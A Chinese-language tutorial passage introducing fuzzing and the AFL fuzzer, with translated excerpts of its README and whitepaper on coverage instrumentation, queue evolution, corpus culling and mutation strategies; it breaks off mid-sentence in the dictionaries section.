+    <content type="text"><![CDATA[接触这个词语已经有一年了，但还没有学习过更没有上手实践过，正好趁这个机会好好弄弄AFL。提起模糊测试，我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等，你可能和我一样一头雾水，这次我们就来看个明白 0x01 模糊测试首先，模糊测试（Fuzzing）是一种测试手段，它把系统看成一个摸不清内部结构的黑盒，只是向其输入接口随机地发送合法测试用例，这些用例并不是开发者所预期的输入，所以极有可能会造成系统的崩溃，通过分析崩溃信息，测试人员（黑客）就可以评估系统是否存在可利用的漏洞。模糊测试的过程，就好像是一个不断探测系统可以承受的输入极限的过程，让我想起学电子的时候对一个滤波器进行带宽的评估，如果我们知道内部电路原理，那么这个器件对于我们就是白盒了，可以直接通过公式计算理论带宽，现在系统对于我们而言是一个黑盒，我们通过在足够大频率范围内对其不断输入信号，就能测试出其实际带宽。 模糊测试方法一览 基于变种的Fuzzer 基于模板的Fuzzer 基于反馈演进的Fuzzer 基于追踪路径覆盖率 基于分支覆盖率 在已知合法的输入的基础上，对该输入进行随机变种或者依据某种经验性的变种，从而产生不可预期的测试输入。 此类Fuzzer工具的输入数据，依赖于安全人员结合自己的知识，给出输入数据的模板，构造丰富的输入测试数据。 此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度，从而调整自己的fuzzing输入。 PAP:路径编码的算法;后面会产生路径爆炸的问题 漏洞的爆发往往由于触发了非预期的分支 Taof, GPF, ProxyFuzz, Peach Fuzzer SPIKE, Sulley, Mu‐4000, Codenomicon AFL 0x02 AFL快速入门1）用make编译AFL。如果构建失败，请参阅docs / INSTALL以获取提示。2）查找或编写一个相当快速和简单的程序，该程序从文件或标准输入中获取数据，以一种有价值的方式处理它，然后干净地退出。如果测试网络服务，请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时，也要注释掉校验和验证码。遇到故障时，程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示，请参阅docs/README中的第11节。3）使用afl-gcc编译要模糊的程序/库。一种常见的方法是：12$ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared$ make clean all 如果程序构建失败，请联系 &#x61;&#102;&#108;&#x2d;&#117;&#x73;&#101;&#x72;&#x73;&#x40;&#x67;&#x6f;&#111;&#x67;&#108;&#101;&#x67;&#x72;&#x6f;&#117;&#x70;&#x73;&#46;&#x63;&#111;&#x6d;。4）获取一个对程序有意义的小而有效的输入文件。在模糊详细语法（SQL，HTTP等）时，也要创建字典，如dictionaries/README.dictionaries中所述。5）如果程序从stdin读取，则运行afl-fuzz，如下所示：./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program&#39;s cmdline ...] 如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。 一些参考文档 docs/README - AFL的一般介绍，docs/perf_tips.txt - 关于如何快速模糊的简单提示，docs/status_screen.txt - UI中显示的花絮的解释，docs/parallel_fuzzing.txt - 关于在多个核上运行AFL的建议Generated test cases for common image formats - 生成图像文件测试用例的demoTechnical “whitepaper” for afl-fuzz - 技术白皮书 适用环境该工具已确认适用于32位和64位的x86 Linux，OpenBSD，FreeBSD和NetBSD。 它也适用于MacOS X和Solaris，但有一些限制。 它支持用C，C ++或Objective C编写的程序，使用gcc或clang编译。 在Linux上，可选的QEMU模式也允许对黑盒二进制文件进行模糊测试。 AFL的变体和衍生物允许您模糊Python，Go，Rust，OCaml，GCJ Java，内核系统调用，甚至整个虚拟机。 还有一个密切启发的进程模糊器，它在LLVM中运行，并且是一个在Windows上运行的分支。 最后，AFL是OSS-Fuzz背后的模糊引擎之一。 哦 - 如果你安装了gnuplot，你可以使用afl-plot来获得漂亮的进度图。 0x03 AFL特点 非常复杂。它是一种插桩器（instrumentation）引导的遗传模糊器，能够在各种非平凡的目标中合成复杂的文件语义，减少了对专用的语法识别工具的需求。它还带有一个独特的崩溃浏览器，一个测试用例最小化器，一个故障触发分配器和一个语法分析器 - 使评估崩溃错误的影响变得简单。 智能。它围绕一系列经过精心研究，高增益的测试用例预处理和模糊测试策略而构建，在其他模糊测试框架中很少采用与之相当的严格性。结果，它发现了真正的漏洞。 它很快。由于其低级编译时间或仅二进制检测和其他优化，该工具提供了针对常见现实世界目标的近原生或优于原生的模糊测试速度。新增的持久模式允许在最少的代码修改的帮助下，对许多程序进行异常快速的模糊测试。 可以链接到其他工具。模糊器可以生成优质，紧凑的测试语料库，可以作为更专业，更慢或劳动密集型流程和测试框架的种子。它还能够与任何其他软件进行即时语料库同步。 0x04 AFL README Written and maintained by Michal Zalewski &#x6c;&#x63;&#x61;&#109;&#116;&#x75;&#102;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#x2e;&#99;&#111;&#x6d; Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved. Released under terms and conditions of Apache License, Version 2.0. For new versions and additional information, check out: http://lcamtuf.coredump.cx/afl/ To compare notes with other users or get notified about major new features, send a mail to &#97;&#x66;&#108;&#45;&#x75;&#115;&#101;&#114;&#115;&#x2b;&#x73;&#x75;&#x62;&#115;&#99;&#114;&#x69;&#98;&#101;&#64;&#x67;&#111;&#x6f;&#x67;&#x6c;&#101;&#103;&#114;&#111;&#x75;&#x70;&#115;&#x2e;&#x63;&#x6f;&#x6d;. See QuickStartGuide.txt if you don’t have time to read this file. 1）具有导向性的模糊测试的挑战Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。不幸的是，模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径，从而使一些漏洞超出了这种技术的范围。已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 语义库蒸馏（corpus distillation） 。网上找到的一些大型语料库中往往包含大量的文件，这时就需要对其精简，该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集，然后通过传统方式对其进行模糊处理。该方法非常有效，但需要这样的语料库随时可用。正因为如此，代码覆盖率 也只是衡量程序执行状态的一个简单化的度量，这种方式并不适合后续引导fuzzing测试的。其他更复杂的研究集中在诸如 程序流分析（“concoic execution”），符号执行或静态分析 等技术上。所有这些方法在实验环境中都非常有前景，但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径，在这一方面符号执行和concolic技术往往会显得不够健壮（如路径爆炸问题），所以仍然稍逊于传统的fuzzing技术。 2）afl-fuzz方法American Fuzzy Lop是一种暴力模糊测试，配有极其简单但坚如磐石的 引导遗传算法 。它使用修改后的边覆盖率，轻松地获取程序控制流程的细微局部变化。简化一下，整体算法可以概括为： 1）将用户提供的初始测试用例加载到队列中， 2）从队列中获取下一个输入文件， 3）尝试将测试用例修剪到不会改变程序测量行为的最小尺寸， 4）使用平衡且经过充分研究的各种传统模糊测试策略反复改变文件， 5）如果任何生成的编译导致由instrumentation记录的新状态转换，则将变异输出添加为队列中的新条目。 6）转到2。 发现的测试用例也会定期被淘汰，以消除那些被更新，更高覆盖率的发现所淘汰的测试用例。并经历其他几个插桩驱动（instrumentation-driven）的努力最小化步骤。作为模糊测试过程的一个副作用，该工具创建了一个小型，独立的有趣测试用例集。这些对于播种其他劳动力或资源密集型测试方案非常有用 - 例如，用于压力测试浏览器，办公应用程序，图形套件或闭源工具。该模糊器经过全面测试，可提供远远优于盲目模糊或仅覆盖工具的开箱即用性能。 3）用于AFL的插桩（instrumentation）程序当源代码可用时，可以通过配套工具 注入instrumentation ，该工具可作为第三方代码的任何标准构建过程中gcc或clang的替代品。instrumentation具有相当适度的性能影响;与afl-fuzz实现的其他优化相结合，大多数程序可以像传统工具一样快速或甚至更快地进行模糊测试。 重新编译目标程序 的正确方法可能会有所不同，具体取决于构建过程的具体情况，但几乎通用的方法是：123$ CC = /path/to/afl/afl-gcc ./configure$ make clean all对于C ++程序，您还需要将CXX = / path /设置为/ afl / afl g ++。 clang组件（afl-clang和afl-clang ++）可以以相同的方式使用; clang用户也可以选择利用更高性能的检测模式，如llvm_mode / README.llvm中所述。 在测试库时，您需要查找或编写一个简单的程序，该程序从stdin或文件中读取数据并将其传递给测试的库。在这种情况下，必须 将此可执行文件与已检测库的静态版本相链接 ，或者确保在运行时加载正确的.so文件（通常通过设置LD_LIBRARY_PATH）。最简单的选项是 静态构建 ，通常可以通过以下方式实现：1$ CC = /path/to/afl/afl-gcc ./configure --disable-shared 调用make时设置AFL_HARDEN = 1将导致CC组件自动启用代码强化选项，以便更容易检测到简单的内存错误。 Libdislocator，AFL附带的帮助程序库（请参阅libdislocator / README.dislocator）也可以帮助发现堆损坏问题。PS。建议ASAN用户查看notes_for_asan.txt文件以获取重要警告。 4）检测仅二进制应用程序当源代码为不可得时，afl为黑盒二进制文件的快速、即时检测提供实验支持。 这是通过在较不为人知的“用户空间仿真”模式下运行的QEMU版本来实现的。QEMU是一个独立于AFL的项目，但您可以通过以下方式方便地构建该功能：12$ cd qemu_mode$ ./build_qemu_support.sh 有关其他说明和注意事项，请参阅qemu_mode / README.qemu。该模式比编译时插桩（instrumentation）慢约2-5倍，对并行化的兼容较差，并且可能有一些其他的不同。 5）选择初始测试用例为了正确操作，模糊器需要一个或多个起始文件，其中包含目标应用程序通常所需的输入数据的良好示例。 有两个基本规则： 测试用例足够小。 1 kB以下是理想的，尽管不是绝对必要的。 有关大小重要性的讨论，请参阅perf_tips.txt。 只有在功能上彼此不同时才使用多个测试用例。 使用五十张不同的度假照片来模糊图像库是没有意义的。您可以在此工具附带的testcases/子目录中找到许多启动文件的好例子。PS。 如果有大量数据可用于筛选，您可能希望使用afl-cmin实用程序来识别在目标二进制文件中使用不同代码路径的功能不同的文件的子集。 6）模糊测试二进制文件测试过程本身由afl-fuzz实用程序执行。该程序需要一个带有初始测试用例的只读目录，一个存储其输出结果的独立位置，以及要测试的二进制文件的路径。对于直接从 stdin 接受输入的目标二进制文件，通常的语法是：1$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program [... params ...] 对于从 文件 中获取输入的程序，使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您：1$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@ 您还可以使用-f选项将变异数据写入特定文件。如果程序需要特定的文件扩展名，那么这很有用。非插桩二进制文件可以在QEMU模式下（在命令行中添加-Q）或在传统的盲目模糊模式（指定-n）中进行模糊测试。您可以使用-t和-m覆盖已执行进程的默认超时和内存限制;perf_tips.txt中讨论了优化模糊测试性能的技巧。 请注意，afl-fuzz首先执行一系列确定性模糊测试步骤，这可能需要几天时间，但往往会产生整齐的测试用例。如果你想要快速结果 - 类似于zzuf和其他传统的模糊器 - 在命令行中添加-d选项。 7）解释输出有关如何解释显示的统计信息以及监视进程运行状况的信息，请参阅status_screen.txt文件。请务必查阅此文件，尤其是如果任何UI元素以红色突出显示。模糊过程将持续到按Ctrl-C为止。至少，您希望允许模糊器完成一个队列周期，这可能需要几个小时到一周左右的时间。在输出目录中创建了三个子目录并实时更新： 队列queue/ - 测试每个独特执行路径的案例，以及用户提供的所有起始文件。这是第2节中提到的合成语料库。在将此语料库用于任何其他目的之前，您可以使用afl-cmin工具将其缩小到较小的大小。该工具将找到一个较小的文件子集，提供相同的边缘覆盖。 崩溃crash/ - 导致被测程序接收致命信号的独特测试用例（例如，SIGSEGV，SIGILL，SIGABRT）。条目按接收信号分组。 挂起hang/ - 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值，但这很少是必需的。崩溃和挂起被视为“唯一” “如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误，那么在此过程中会有一些计数通货膨胀，但这应该会迅速逐渐减少。 崩溃和挂起的文件名与父、非错误的队列条目相关联。这应该有助于调试。如果无法重现 afl-fuzz 发现的崩溃，最可能的原因是您没有设置与工具使用的内存限制相同的内存限制。尝试：12$ LIMIT_MB = 50$（ulimit -Sv $ [LIMIT_MB &lt;&lt; 10]; /path/to/tested_binary ...） 更改LIMIT_MB以匹配传递给afl-fuzz的-m参数。在OpenBSD上，也将-Sv更改为-Sd。任何现有的输出目录也可用于恢复中止的作业;尝试：$ ./afl-fuzz -i-o_ existing_output_dir [...etc...]如果安装了gnuplot，您还可以使用afl-plot为任何活动的模糊测试任务生成一些漂亮的图形。有关如何显示的示例，请参阅 http://lcamt​​uf.coredump.cx/afl/plot/ 。 8）并行模糊测试每个afl-fuzz的实例大约占用一个核。 这意味着在多核系统上，并行化是充分利用硬件所必需的。有关如何在多个核心或多个联网计算机上模糊常见目标的提示，请参阅parallel_fuzzing.txt。并行模糊测试模式 还提供了一种简单的方法，用于将AFL连接到其他模糊器，动态符号执行（concrete and symbolic， concolic execution）引擎等等; 再次，请参阅 parallel_fuzzing.txt的最后一节以获取提示。 9）Fuzzer词典默认情况下，afl-fuzz变异引擎针对紧凑数据格式进行了优化 - 例如，图像，多媒体，压缩数据，正则表达式语法或shell脚本。它有点不太适合具有特别冗长和冗余的语言的语言 - 特别是包括HTML，SQL或JavaScript。为了避免构建语法感知工具的麻烦，afl-fuzz提供了一种方法，使用与目标数据类型相关联的其他特殊标记的语言关键字，魔术头或可选字典为模糊测试过程设定种子，并使用它来重建底层随时随地的语法：http://lcamt​​uf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html要使用此功能，首先需要使用dictionaries/README.dictionaries中讨论的两种格式之一创建字典;然后通过命令行中的-x选项将模糊器指向它。（该子目录中也已提供了几个常用字典。）没有办法提供基础语法的更多结构化描述，但模糊器可能会根据instrumentation反馈单独找出一些。这实际上在实践中有效，比如说：http://lcamt​​uf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.htmlPS。即使没有给出明确的字典，afl-fuzz也会尝试通过在确定性字节翻转期间非常接近地观察instrumentation来提取输入语料库中的现有语法标记。这适用于某些类型的解析器和语法，但不如-x模式好。如果字典真的很难找到，另一个选择是让AFL运行一段时间，然后使用作为AFL伴随实用程序的令牌捕获库。为此，请参阅libtokencap/README.tokencap。 10）崩溃分类基于coverage的崩溃分组通常会生成一个小型数据集，可以手动或使用非常简单的GDB或Valgrind脚本快速进行分类。每次崩溃都可以追溯到队列中的父级非崩溃测试用例，从而更容易诊断故障。话虽如此，重要的是要承认，如果没有大量的调试和代码分析工作，一些模糊的崩溃很难快速评估可利用性。为了帮助完成这项任务，afl-fuzz支持使用-C标志启用的非常独特的“崩溃探索”模式。在此模式下，模糊器将一个或多个崩溃测试用例作为输入，并使用其反馈驱动的模糊测试策略，非常快速地枚举程序中可以达到的所有代码路径，同时使其保持在崩溃状态。不会导致崩溃的变异会被拒绝;任何不影响执行路径的更改也是如此。输出是一个小文件集，可以非常快速地检查以查看攻击者对错误地址的控制程度，或者是否有可能超过初始越界读取，并查看下面的内容。 哦，还有一件事：对于测试用例最小化，请尝试afl-tmin。该工具可以以非常简单的方式操作：$ ./afl-tmin -i test_case -o minimize_result - /path/to/program [...] 该工具适用于崩溃和非崩溃的测试用例。在崩溃模式下，它将很乐意接受 instrumented 和 non-instrumented 的二进制文件。在非崩溃模式下，最小化器依赖于标准AFL检测来使文件更简单而不改变执行路径。minimizer与afl-fuzz兼容的方式接受-m，-t，-f和@@语法。如果指定了参数-x，即crash mode，会把导致程序非正常退出的文件直接剔除。 AFL的另一个新成员是afl-analyze工具。需要输入文件，尝试按顺序翻转字节，并观察测试程序的行为。然后根据哪些部分看起来是关键的，哪些部分不是关键的，对输入进行颜色编码;虽然不是万能，但它通常可以提供对复杂文件格式的快速见解。有关其操作的更多信息可以在technical_details.txt的末尾找到。 11）超越崩溃模糊测试是一种很好的，未充分利用的技术，用于发现非崩溃的设计和实现错误。通过修改目标程序调用abort()时发现了一些有趣的错误，比如： 当给出相同的模糊输入时，两个bignum库产生不同的输出， 当要求连续多次解码相同的输入图像时，图像库会产生不同的输出， 在对模糊提供的数据进行迭代序列化和反序列化时，序列化/反序列化库无法生成稳定的输出， 当要求压缩然后解压缩特定blob时，压缩库会生成与输入文件不一致的输出。实施这些或类似的健全性检查通常只需要很少的时间;如果你是特定包的维护者，你可以使用#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION（一个也与libfuzzer共享的标志）或#ifdef __AFL_COMPILER（这个只适用于AFL）来使这个代码成为条件。 12）常识性风险请记住，与许多其他计算密集型任务类似，模糊测试可能会给您的硬件和操作系统带来压力。特别是： 你的CPU会很热，需要充分冷却。在大多数情况下，如果冷却不足或停止正常工作，CPU速度将自动受到限制。也就是说，尤其是在不太合适的硬件（笔记本电脑，智能手机等）上进行模糊测试时，某些事情并非完全不可能爆发。 有针对性的程序可能最终不正常地抓取千兆字节的内存或用垃圾文件填满磁盘空间。 AFL试图强制执行基本的内存限制，但不能阻止每一个可能的事故。最重要的是，您不应该对数据丢失前景不可接受的系统进行模糊测试。 模糊测试涉及数十亿次对文件系统的读写操作。在现代系统中，这通常会被高度缓存，导致相当适度的“物理”I/O - 但是有许多因素可能会改变这个等式。您有责任监控潜在的问题; I / O非常繁重，许多HDD和SSD的使用寿命可能会缩短。监视Linux上磁盘I/O的一种好方法是’iostat’命令：$ iostat -d 3 -x -k [...可选磁盘ID ...] 13）已知的限制和需要改进的领域以下是AFL的一些最重要的警告： AFL通过检查由于信号（SIGSEGV，SIGABRT等）而导致的第一个衍生过程死亡来检测故障。为这些信号安装自定义处理程序的程序可能需要注释掉相关代码。同样，由模糊目标产生的子处理中的故障可能会逃避检测，除非您手动添加一些代码来捕获它。 与任何其他强力工具一样，如果使用加密，校验和，加密签名或压缩来完全包装要测试的实际数据格式，则模糊器提供有限的覆盖范围。要解决这个问题，你可以注释掉相关的检查（参见experimental / libpng_no_checksum /获取灵感）;如果这是不可能的，你也可以编写一个后处理器，如experimental / post_library /中所述。 ASAN和64位二进制文​​件存在一些不幸的权衡。这不是因为任何特定的模糊错误;请参阅notes_for_asan.txt以获取提示。 没有直接支持模糊网络服务，后台守护程序或需要UI交互才能工作的交互式应用程序。您可能需要进行简单的代码更改，以使它们以更传统的方式运行。 Preeny也可以提供一个相对简单的选项 - 请参阅：https://github.com/zardus/preeny有关修改基于网络的服务的一些有用提示也可以在以下位置找到：https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop AFL不输出人类可读的覆盖数据。如果你想监控覆盖，请使用Michael Rash的afl-cov：https：//github.com/mrash/afl-cov 偶尔，敏感的机器会对抗他们的创造者。如果您遇到这种情况，请访问http://lcamt​​uf.coredump.cx/prep/。除此之外，请参阅安装以获取特定于平台的提示。 0x05 afl-fuzz白皮书本文档提供了American Fuzzy Lop的简单的概述。想了解一般的使用说明，请参见 README 。想了解AFL背后的动机和设计目标，请参见 historical_notes.txt。 0）设计说明(Design statement)American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation)，也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为，我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。唯一的设计宗旨在于速度、可靠性和易用性。 1）覆盖率计算(Coverage measurements)在编译过的程序中插桩能够捕获分支（边缘）的覆盖率，并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下： 123cur_location = &lt;COMPILE_TIME_RANDOM&gt;; //用一个随机数标记当前基本块shared_mem[cur_location ^ prev_location]++; //将当前块和前一块异或保存到shared_mem[]prev_location = cur_location &gt;&gt; 1; //cur_location右移1位区分从当前块到当前块的转跳 cur_location 的值是随机产生的，为的是简化连接复杂对象的过程和保持XOR输出分布是均匀的。shared_mem[] 数组是一个调用者 (caller) 传给被插桩的二进制程序的64kB的共享空间。其中的每一字节可以理解成对于插桩代码中特别的元组(branch_src, branch_dst)的一次命中（hit）。选择这个数组大小的原因是让冲突(collisions)尽可能减少。这样通常能处理2k到10k的分支点。同时，它的大小也足以使输出图能在接受端达到毫秒级的分析。 Branch cnt Colliding tuples Example targets 1,000 0.75% giflib, lzo 2,000 1.5% zlib, tar, xz 5,000 3.5% libpng, libwebp 10,000 7% libxml 20,000 14% sqlite 50,000 30% - 这种形式的覆盖率，相对于简单的基本块覆盖率来说，对程序运行路径提供了一个更好的描述(insight)。特别地，它能很好地区分以下两个执行路径： A -&gt; B -&gt; C -&gt; D -&gt; E (tuples: AB, BC, CD, DE) A -&gt; B -&gt; D -&gt; C -&gt; E (tuples: AB, BD, DC, CE) 这有助于发现底层代码的微小错误条件。因为 安全漏洞通常是一些非预期(或不正确)的语句转移(一个tuple就是一个语句转移) ，而不是没覆盖到某块代码。上边伪代码的最后一行移位操作是为了让tuple具有定向性(没有这一行的话，A^B和B^A就没区别了，同样，A^A和B^B也没区别了)。采用右移的原因跟Intel CPU的一些特性有关。 2）发现新路径(Detecting new behaviors)AFL的fuzzers使用一个全局Map来存储之前执行时看到的tuple。这些数据可以被用来对不同的trace进行快速对比，从而可以计算出是否新执行了一个dword指令/一个qword-wide指令/一个简单的循环。当一个变异的输入产生了一个包含新tuple的执行路径时，对应的输入文件就被保存，然后被发送到下一过程(见第3部分)。对于那些没有产生新路径的输入，就算他们的instrumentation输出模式是不同的，也会被抛弃掉。这种算法考虑了一个非常细粒度的、长期的对程序状态的探索，同时它还不必执行复杂的计算，不必对整个复杂的执行流进行对比，也避免了路径爆炸的影响。为了说明这个算法是怎么工作的，考虑下面的两个路径，第二个路径出现了新的tuples(CA, AE):12#1: A -&gt; B -&gt; C -&gt; D -&gt; E#2: A -&gt; B -&gt; C -&gt; A -&gt; E 因为#2的原因，以下的路径就不认为是不同的路径了，尽管看起来非常不同：#3: A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; D -&gt; E 除了检测新的tuple之外，AFL的fuzzer也会粗略地记录tuple的命中数(hit counts)。这些被分割成几个buckets：1, 2, 3, 4-7, 8-15, 16-31, 32-127, 128+ 从某种意义来说，buckets里边的数目是有实际意义的：它是一个8-bit counter和一个8-position bitmap的映射。8-bit counter是由桩生成的，8-position bitmap则依赖于每个fuzzer记录的已执行的tuple的命中数。单个bucket的改变会被忽略掉: 在程序控制流中，bucket的转换会被标记成一个interesting change，传入evolutionary(见第三部分)进行处理。通过命中次数(hit count)，我们能够分辨控制流是否发生变化。例如一个代码块被执行了两次，但只命中了一次。并且这种方法对循环的次数不敏感(循环47次和48次没区别)。这种算法通过限制内存和运行时间来保证效率。 另外，算法通过设置执行超时，来避免效率过低的fuzz。从而进一步发现效率比较高的fuzz方式。 3）输入队列的进化(Evolving the input queue)经变异的测试用例，会使程序产生 新的状态转移 。这些测试用例稍后被添加到 input 队列中，用作下一个 fuzz 循环。它们补充但不替换现有的发现。这种算法允许工具可以持续探索不同的代码路径，即使底层的数据格式可能是完全不同的。如下图： 这里有一些这种算法在实际情况下例子： pulling-jpegs-out-of-thin-air afl-fuzz-nobody-expects-cdata-sections 这种过程下产生的语料库基本上是这些输入文件的集合：它们都能触发一些新的执行路径。产生的语料库，可以被用来作为其他测试的种子。使用这种方法，大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现，剩下的和hit counts改变有关。下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file: Fuzzer guidance strategy used Blocks reached Edges reached Edge hit cnt var Highest-coverage test case generated (Initial file) 156 163 1.00 (none) Blind fuzzing S 182 205 2.23 First 2 B of RCS diff Blind fuzzing L 228 265 2.23 First 4 B of -c mode diff Block coverage 855 1,130 1.57 Almost-valid RCS diff Edge coverage 1,452 2,070 2.18 One-chunk -c mode diff AFL model 1,765 2,597 4.99 Four-chunk -c mode diff 第一行的blind fuzzing (“S”)代表仅仅执行了一个回合的测试。第二行的Blind fuzzing L表示在一个循环中执行了几个回合的测试，但是没有进行改进。和插桩运行相比，需要更多时间全面处理增长队列。 在另一个独立的实验中也取得了大致相似的结果。在新实验中，fuzzer被修改成所有随机fuzzing 策略，只留下一系列基本、连续的操作，例如位反转(bit flips)。因为这种模式（mode）将不能改变输入文件的的大小，会话使用一个合法的合并格式（unified diff）作为种子。 Queue extension strategy used Blocks reached Edges reached Edge hit cnt var Number of unique crashes found (Initial file) 624 717 1.00 - Blind fuzzing 1,101 1,409 1.60 0 Block coverage 1,255 1,649 1.48 0 Edge coverage 1,259 1,734 1.72 0 AFL model 1,452 2,040 3.16 1 在之前提到的基于遗传算法的fuzzing，是通过一个test case的进化(这里指的是用遗传算法进行变异)来实现最大覆盖。在上述实验看来，这种“贪婪”的方法似乎没有为盲目的模糊策略带来实质性的好处。 4）语料筛选（Culling the corpus）上文提到的渐进式语句探索路径的方法意味着：假设A和B是测试用例(test cases)，且B是由A变异产生的。那么测试用例B达到的边缘覆盖率(edge coverage)是测试用例A达到的边缘覆盖率的严格超集(superset)。为了优化fuzzing，AFL会用一个快速算法周期性的重新评估(re-evaluates)队列，这种算法会选择队列的一个更小的子集，并且这个子集仍能覆盖所有的tuple。算法的这个特性对这个工具特别有利(favorable)。算法通过指定每一个队列入口(queue entry)，根据执行时延（execution latency）和文件大小分配一个分值比例（score proportional）。然后为每一个tuple选择最低分值的entry。这些tuples按下述流程进行处理： 12345671) Find next tuple not yet in the temporary working set,2) Locate the winning queue entry for this tuple,3) Register *all* tuples present in that entry&apos;s trace in the working set,4) Go to #1 if there are any missing tuples in the set. “favored” entries 产生的语料，会比初始的数据集小5到10倍。没有被选择的也没有被扔掉，而是在遇到下列对队列时，以一定概率略过：12345678- If there are new, yet-to-be-fuzzed favorites present in the queue, 99% of non-favored entries will be skipped to get to the favored ones.- If there are no new favorites:- If the current non-favored entry was fuzzed before, it will be skipped 95% of the time.- If it hasn&apos;t gone through any fuzzing rounds yet, the odds of skipping drop down to 75%. 基于以往的实验经验，这种方法能够在队列周期速度(queue cycling speed)和测试用例多样性(test case diversity)之间达到一个合理的平衡。使用afl-cmin工具能够对输入或输出的语料库进行稍微复杂但慢得多的的处理。这一工具将永久丢弃冗余entries，产生适用于afl-fuzz或者外部工具的更小的语料库。 5）输入文件修剪（Trimming input files）文件的大小对fuzzing的性能有着重大影响(dramatic impact)。因为大文件会让目标二进制文件运行变慢；大文件还会减少变异触及重要格式控制结构(format control structures)的可能性(我们希望的是变异要触及冗余代码块(redundant data blocks))。这个问题将在perf_tips.txt细说。用户可能提供低质量初始语料(starting corpus)，某些类型的变异会迭代地增加生成文件的大小。所以要抑制这种趋势(counter this trend)。幸运的是，插桩反馈(instrumentation feedback)提供了一种简单的方式自动削减（trim down）输入文件，并确保这些改变能使得文件对执行路径没有影响。afl-fuzz内置的修剪器(trimmer)使用变化的长度和步距(variable length and stepover)来连续地(sequentially)删除数据块；任何不影响trace map的校验和(checksum)的删除块将被提交到disk。这个修剪器的设计并不算特别地周密(thorough)，相反地，它试着在精确度(precision)和进程调用execve()的次数之间选取一个平衡，找到一个合适的block size和stepover。平均每个文件将增大约5-20%。独立的afl-tmin工具使用更完整(exhaustive)、迭代次数更多(iteractive)的算法，并尝试对被修剪的文件采用字母标准化的方式处理。 6) 模糊测试策略(Fuzzing strategies)插桩提供的反馈(feedback)使得我们更容易理解各种不同fuzzing策略的价值，从而优化(optimize)他们的参数。使得他们对不同的文件类型都能同等地进行工作。afl-fuzz用的策略通常是与格式无关（format-agnostic），详细说明在下边的连接中：binary-fuzzing-strategies-what-works值得注意的一点是，afl-fuzz大部分的(尤其是前期的)工作都是高度确定的(highly deterministic)，随机性修改和测试用例拼接(random stacked modifications和test case splicing)只在后期的部分进行。 确定性的策略 包括：12345- Sequential bit flips with varying lengths and stepovers,使用变化的长度和步距来连续进行位反转- Sequential addition and subtraction of small integers,对小的整型数来连续进行加法和减法- Sequential insertion of known interesting integers (0, 1, INT_MAX, etc),对已知的感兴趣的整型数连续地插入 使用这些确定步骤的目的在于，生成紧凑的(compact)测试用例，以及在产生non-crashing的输入和产生crashing的输入之间，有很小的差异(small diffs)。非确定性(non-deterministic)策略 的步骤包括：stacked bit flips、插入(insertions)、删除(deletions)、算数(arithmetics)和不同测试用例之间的拼接(splicing)。 由于在historical_notes.txt 中提到的原因(性能、简易性、可靠性)，AFL通常不试图去推断某个特定的变异(specific mutations)和程序状态(program states)的关系。 fuzzing的步骤名义上来说是盲目的(nominally blind)，只被输入队列的进化方式的设计所影响(见第三部分)。 这意味着，这条规则有一个例外：当一个新的队列条目，经过初始的确定性fuzzing步骤集合时，并且文件的部分区域被观测到对执行路径的校验和没有影响，这些队列条目在接下来的确定性fuzzing阶段可能会被排除。尤其是对那些冗长的数据格式，这可以在保持覆盖率不变的情况下，减少10-40%的执行次数。在一些极端情况下，比如一些block-aligned的tar文件，这个数字可以达到90%。 7) 字典(Dictionaries)插桩提供的反馈能够让它自动地识别出一些输入文件中的语法(syntax)符号(tokens)，并且能够为测试器(tested parser)检测到一些组合，这些组合是由预定义(predefined)的或自动检测到的(auto-detected)字典项(dictionary terms)构成的合法语法(valid grammar)。关于这些特点在afl-fuzz是如何实现的，可以看一下这个链接：afl-fuzz-making-up-grammar-with大体上，当基本的(basic, typically easily-obtained)句法(syntax)符号(tokens)以纯粹随机的方式组合在一起时，插桩和队列进化这两种方法共同提供了一种反馈机制，这种反馈机制能够区分无意义的变异和在插桩代码中触发新行为的变异。这样能增量地构建更复杂的句法(syntax)。这样构建的字典能够让fuzzer快速地重构非常详细(highly verbose)且复杂的(complex)语法，比如JavaScript, 